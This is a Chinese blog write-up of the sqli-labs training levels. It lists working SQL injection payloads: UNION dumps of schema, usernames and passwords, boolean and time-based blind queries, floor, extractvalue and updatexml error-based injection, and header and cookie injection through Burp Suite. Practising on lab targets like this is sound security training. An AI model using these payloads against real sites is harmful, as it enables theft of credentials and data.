首页 > 数据库 >Sqli-labs三个注入关卡【1、5、11】

Sqli-labs三个注入关卡【1、5、11】

时间:2023-01-09 16:45:27浏览次数:40  
标签:11 name database labs Sqli limit table select schema

常见手动注入闭合方式

or 1=1;'or 1=1;"or 1=1;)or 1=1;')or 1=1;")or 1=1;"))or 1=1;也可以是使用”\”转义字符,通过转义字符将闭合方式爆出

常见符号十六进制表示

0x3A : 0x68 h 0x72 r 0x2F / 0x3C < 0x3E > 0x7e ~

Less-1

使用简单的注入语句

爆字段数目:order by (数字)【字段就是表中有几列数据】

正确回显需要的数据:?id=-1’ union select 1,2,3 --+【根据不同关卡修改相应的闭合方式,id=-1显然是错误的,错误的数据意义是union select语句在选择输出数据时,判断union select前的id是否正确,正确则输出正确id对应的数据,反之则输出union select后除开第一个的别的数据】

爆当前数据库:修改2或3为database()

爆所有数据库:group_concat(schema_name)【此语句添加在2或3的位置】

from information_schema.schemata【此语句添加在最后】

爆数据库所有表:group_concat(table_name) from information_schema.tables

爆当前数据库名:group_concat(table_name) from information_schema.tables where table_schema=database()

爆所有列名:group_concat(column_name) from information_schema.columns【不好的一点是这样区分不了列是哪个表的列】

爆当前数据库列名:group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’

爆当前表中数据:group_concat(username,0x3a,0x3a,password) from users

更直观爆当前表中数据:group_concat(username,0x3a,0x3a,password,0x3c,0x68,0x72,0x2f,0x3e) from users  【后面添加的是HTML的标签</hr>对应的意思是换行加分割线】

Less 5

则是使用布尔盲注和延时盲注或者报错注入,根据页面回显与否判断注入的条件语句是否正确

不同于上面的简单语句,爆出闭合方式后使用and连接注入语句

布尔盲注

判断数据库名字的长度是否和注入语句长度相同:and length(database())>8【修改>为<,=重复测试知道回显页面正常为止】

猜完数据库长度后,判断数据库每个字母的ascii码是否和注入语句对应的值相同:and ascii(substr(database(),1,1))=115【修改值大小和符号,使用二分法进行查找正确的ascii码值】

判断数据库对应表名:and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101【修改值大小和符号,使用二分查找正确ascii码值;limit 0,1表示从0开始拿出1个表名,即得到第一个表名,建议在修改limit 0,1的0的时候,都从>0开始判断,布尔盲注不会直接表现有几个表,当没有表的时候>0是没有回显的,=0也是没有回显的】

判断数据库对应表的列名:and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=105【同上,修改table为column并且添加and table_name=’’即可】

判断数据库对应表的列的数据的长度:and (select length(username) from security.users limit 0,1)=4【修改值大小和符号,修改length中参数和from后的表名,修改limit】

判断数据库对应表的列的数据:and ascii(substr((select username from security.users limit 1,1),1,1))=65【同上,修改即可】

延时盲注

爆数据库名,表名,列名,数据同上面布尔盲注大致相同一样,但注入使用函数不同

爆数据库长度:and if(length(database())=8,sleep(0),sleep(7))【修改sleep函数,根据网络栏显示的Load时间是否与给出的条件相同判断是否正确】

注:1.延时盲注不论是否正确都不回显页面;

       2.延时盲注的时间可能和设置不相同,根据自己网站本身需要的时间决定,例如我的网站回显基本页面的时间是2秒,则注入语句即使正确Load时间也是2秒而不是0秒;

其他可以复制布尔盲注的语句进行判断

报错注入

Floor报错

爆用户,数据库:and (select 1 from (select count(*),concat(user(),floor(rand(0)*2)) x from information_schema.tables group by x) a)【修改user();from information_schema.tables是不能少的,缺少的话相当于Floor函数少了一个条件,Floor函数根据from后的内容进行rand()随机数产生】

爆表名:select table_name from information_schema.tables where table_schema=database() limit 0,1【添加在user()处;修改limit语句爆表名,若初始条件错误则回显正确的页面】

爆列名:select column_name from information_schema.columns where table_schema=database() and table_name=’user’ limit 0,1【修改同上】

爆数据:select username from users limit 0,1【修改字段名和limit限制,大于行数会回显正确的页面】

可以根据不同情况修改要爆数据的多少,第五关不能爆出多行数据就是用limit限制输出

Extractvalue报错

爆数据库:union select extractvalue(1,concat(0x7e,database(),0x7e))【修改database()为select group_concat(shcema_name) from information_schema.schemata爆所有数据库】

爆表名:select table_name from information_schema.tables where table_schema=database() limit 0,1【修改同上】

爆数据:select column_name from information_schema.columns where table_schema=database() and table_name=’users’ limit 0,1

updatexml()报错

爆数据库:union select updatexml(1,concat(0x7e,database(),0x7e),3)

爆表名: select table_name from information_schema.tables where table_schema=database() limit 0,1

爆列名:select column_name from information_schema.columns where table_schema=database() and table_name=’users’ limit 0,1

Burpsuite抓包注入

Post简单注入

Less-11

打开Burpsuite,输入账户密码点击submit,将获取到的页面send to repeater

修改uname或者passwd区别在于:passwd注入语句,因为输入的账号密码是错误的,则需要条件语句or 1=1来将整个语句调整为真,再进行注入否则是错误语句回显的也是账号密码错误的页面;uname则不需要

注入语句同上任一方式都可以

Post盲注

Less-15

转义符不可取,不会回显错误所以只能一个一个试

注入语句和上面盲注一样

注:延时盲注的响应时间看Burpsuite右下角的millis除以1000,同浏览器的响应时间相同可能不为0,以自己的浏览器为准

Http注入

Less-18

Http的user-agent注入

用转义符也不可取,先判断是什么类型注入,再使用报错注入

Http的referer注入

用转义符也不可取,先判断是什么类型注入,再使用报错注入或盲注

Http的cookie注入

Less-20

抓到的包可以看见并没有cookie这一个参数,丢弃forward,看见cookie后ctrl+R

可以使用和上面burpsuite一样的报错注入,也可以在cookie进行简单的注入

标签:11,name,database,labs,Sqli,limit,table,select,schema
From: https://www.cnblogs.com/BWTY/p/17037486.html

相关文章

  • SQL211 获取当前薪水第二多的员工的emp_no以及其对应的薪水salary
    SQL211获取当前薪水第二多的员工的emp_no以及其对应的薪水salary题目描述有一个薪水表salaries请你获取薪水第二多的员工的emp_no以及其对应的薪水salary,若有多个员工......
  • mormot118ORM
    mormot118ORMunitmORMot;///rootclassfordefiningandmappingdatabaserecords//-inheritsaclassfromTSQLRecord,andaddpublishedpropertiesto......
  • P7114 [NOIP2020] 字符串匹配 解题报告
    ~~NOIP的蓝题果然还是好难啊啊啊啊~~前言:作为一道NOIP的真题,这道题放在T2难度并不是特别大,不过考点还是比较偏的,扩展KMP和树状数组的组合,并且还带有一定的思维难度,......
  • 11.编写一个命令行程序
    一、接收命令行参数创建minigrep项目cargonewminigrep实现这一工具的首要任务是让minigrep接收两个命令行参数:文件名和用于搜索的字符串。因此,我们希望通过如下方式:......
  • Python_sqlite3与sqlite数据库交互
    基础功能importsqlite3#sqlite一个文件就是一个库#连接test.db数据库,没有就创建conn=sqlite3.connect('test.db')#创建一个cursorcur=conn.cursor()#......
  • Ubuntu18.04升级GCC/G++ 11
    目前适用于Ubuntu18.04的GCC/G++11不在稳定仓库中,因此需要源码编译或者添加PPA仓库安装。具体步骤:    源码包下载:GCC添加PPA仓库安装:bash执行添加PPA源add-ap......
  • win11系统新版edge不兼容网银如何解决【解决办法】
    由于目前国内的网银都是基于IE浏览器进行开发的,由于微软推行Edge,Win11把IE砍掉后,会将IE的链接强制跳转到Edge上,很多网银无法调用,对于需要使用Web网银的用户来说非常不方便......
  • 阿里云容器服务 ACK 产品技术动态(202211)
    ......
  • Windows 11安装etcd
    一、从官方网站找到Windows版的安装包下载https://etcd.io/把etcd的压缩包解压到D:/soft/etcd文件夹下,首先运行etcd.exe,这是启动etcd服务的,接着就可以使用etcdctl.exe命......
  • 11.Listener
    Listener笔记目录:(https://www.cnblogs.com/wenjie2000/p/16378441.html)视频教程(P137)概念:Listener表示监听器,是JavaWeb三大组件(Servlet、Filter、Listener)之一。......